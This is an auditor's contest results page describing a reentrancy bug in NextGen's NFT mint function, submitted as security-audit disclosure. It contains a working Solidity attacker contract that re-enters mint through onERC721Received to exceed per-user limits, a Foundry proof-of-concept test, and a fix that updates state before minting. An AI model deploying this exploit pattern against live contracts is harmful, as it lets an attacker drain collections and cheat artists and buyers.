NextGen - 0xraion's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 181/243

Findings: 1

Award: $0.15

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

There are 2 variables that limit the amount of tokens a user can mint. For allowlist mints we have _maxAllowance and for public mints we have _maxCollectionPurchases.

When calling the mint function we have these 2 require statements to check that the user does not mint more tokens than allowed:

Allowlist mint:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens,"AL limit");

Public mint:

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

gencore.retrieveTokensMintedPublicPerAddress() returns tokensMintedAllowlistAddress[_collectionID][_address] and gencore.retrieveTokensMintedALPerAddress() returns tokensMintedPerAddress[_collectionID][_address]

The problem is that we update these values after actually minting the tokens and thats why an attacker can re-enter the mint function through a custom contract allowing the attacker to mint more tokens than allowed. An attacker could potentially mint the whole supply of a collection this way as all state updates happen after all of the mints.

Proof of Concept

Below I'll showcase how to actually exploit this bug. (coded foundry test PoC added at the bottom)

We simply have to create an attacker contract which we will use to exploit the mint function. This attacker contract makes use of the onERC721Received() hook which gets called if you mint tokens to a contract using safeMint() and re-enters the mint function of NextGen this way.

Attacker contract:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IMinterContract {

    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external;
    
}

interface ICoreContract {
    function retrieveCollectionAdditionalData(uint256 _collectionID)
        external
        view
        returns (address, uint256, uint256, uint256, uint256, address);
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract Attack {
    IMinterContract public minterContract;
    ICoreContract public coreContract;

    constructor(address _minterContractAddress, address _coreContractAddress) {
        minterContract = IMinterContract(_minterContractAddress);
        coreContract = ICoreContract(_coreContractAddress);
    }

    function attack(uint256 _collectionId) public {

        bytes32[] memory merkle = new bytes32[](1);


        minterContract.mint(
            _collectionId,
            1,
            0,
            "test",
            address(this),
            merkle,
            address(0),
            0
        );
        
    }

     function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        (, , uint256 collectionCirculationSupply, uint256 collectionTotalSupply, , ) = coreContract.retrieveCollectionAdditionalData(1);

        if (collectionTotalSupply > collectionCirculationSupply) {
            attack(1);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

PoC:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {NextGenCore} from "../../smart-contracts/NextGenCore.sol";
import {NextGenMinterContract} from "../../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../../smart-contracts/NextGenAdmins.sol";
import {NextGenRandomizerNXT} from "../../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../../smart-contracts/XRandoms.sol";
import {DelegationManagementContract} from "../../smart-contracts/NFTdelegation.sol";
import {IERC721} from "../../smart-contracts/IERC721.sol";

import {Attack} from "../../smart-contracts/attack/Attack.sol";

contract ReentrancyPoC is Test {

    // contracts
    NextGenCore public coreContract;
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomPoolContract;
    DelegationManagementContract public delegationContract;

    Attack public attackerContract;

    // users
    address public adminAccount = makeAddr("adminAccount");
    address public artistAccount = makeAddr("artistAccount");
    address public attackerAccount = makeAddr("attackerAccount");

    function setUp() public {
        // set up contracts with the deployment process from the c4 audit page
        vm.startPrank(adminAccount);

        adminContract = new NextGenAdmins();
        randomPoolContract = new randomPool();
        coreContract = new NextGenCore("NextGen", "NG", address(adminContract));
        randomizerContract = new NextGenRandomizerNXT(address(randomPoolContract), address(adminContract), address(coreContract));
        delegationContract = new DelegationManagementContract();
        minterContract = new NextGenMinterContract(address(coreContract), address(delegationContract), address(adminContract));


        // set up a collection based on the process from the nextgen docs

        string[] memory collectionScript = new string[](1);


        // 1. Create Collection
        coreContract.createCollection(
            "Test Collection 1", // _collectionName
            "Artist 1", // _collectionArtist
            "For testing", // _collectionDescription
            "www.test.com", // _collectionWebsite
            "CCO", // _collectionLicense
            "https://ipfs.io/ipfs/hash/", // _collectionBaseURI
            "", // _collectionLibrary
            collectionScript // _collectionScript
        );
        
        // 2. Set Collection Data
        coreContract.setCollectionData(
            1, // _collectionID
            artistAccount, // _collectionArtistAddress
            1, // _maxCollectionPurchases
            10, // _collectionTotalSupply
            200 // _setFinalSupplyTimeAfterMint
        );

        // 3. Add Randomizer
        coreContract.addRandomizer(
            1, // _collectionID
            address(randomizerContract) // _randomizerContract
        );

        // 4. Set Collection Costs
        minterContract.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            0, // _timePeriod
            1,  // _salesOptions
            address(0) // _delAddress
        );

        // 5. Set Collection Phases
        minterContract.setCollectionPhases(
            1, // _collectionID
            block.timestamp, // _allowlistStartTime
            block.timestamp, // _allowlistEndTime
            block.timestamp, // _publicStartTime
            block.timestamp + 1 hours, // _publicEndTime
            bytes32(0) // _merkleRoot
        );

        // 6. Also add minter contract to core contract
        coreContract.addMinterContract(address(minterContract));

        vm.stopPrank();

        // Now we are deploying the attacker contract 
        vm.startPrank(attackerAccount);

        attackerContract = new Attack(address(minterContract), address(coreContract));

        vm.stopPrank();
    }

    function test_ReentrancyAttackInMintFunction() public {
        // check how many tokens we are allowed to mint
        uint256 maxAllowedMints = coreContract.viewMaxAllowance(1);
        assertEq(maxAllowedMints, 1);

        console.log("Allowed Mints per User: ", maxAllowedMints);

        vm.warp(block.timestamp + 1); // to start public minting and get out of AL phase

        vm.startPrank(attackerAccount);
        
        attackerContract.attack(1);

        uint256 attackerBalance = IERC721(address(coreContract)).balanceOf(address(attackerContract));
        console.log("Attacker Minted: ", attackerBalance);
        
        assertGt(attackerBalance, 1);

        vm.stopPrank();
    }
}

Tools Used

  • Manual Review
  • Foundry

Make use of the CEI pattern and update the necessary variables before minting the tokens.

- _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
- if (phase == 1) {
-     tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
-     tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
- } else {
-     tokensMintedPerAddress[_collectionID][_mintingAddress] =
-     tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
- }

 
+ if (phase == 1) {
+    tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
+    tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+ } else {
+    tokensMintedPerAddress[_collectionID][_mintingAddress] =
+    tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+ }
+ _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T12:45:45Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:03:56Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:20:55Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:21:05Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:08Z

alex-ppg marked the issue as satisfactory

#5 - c4-judge

2023-12-09T00:18:52Z

alex-ppg changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter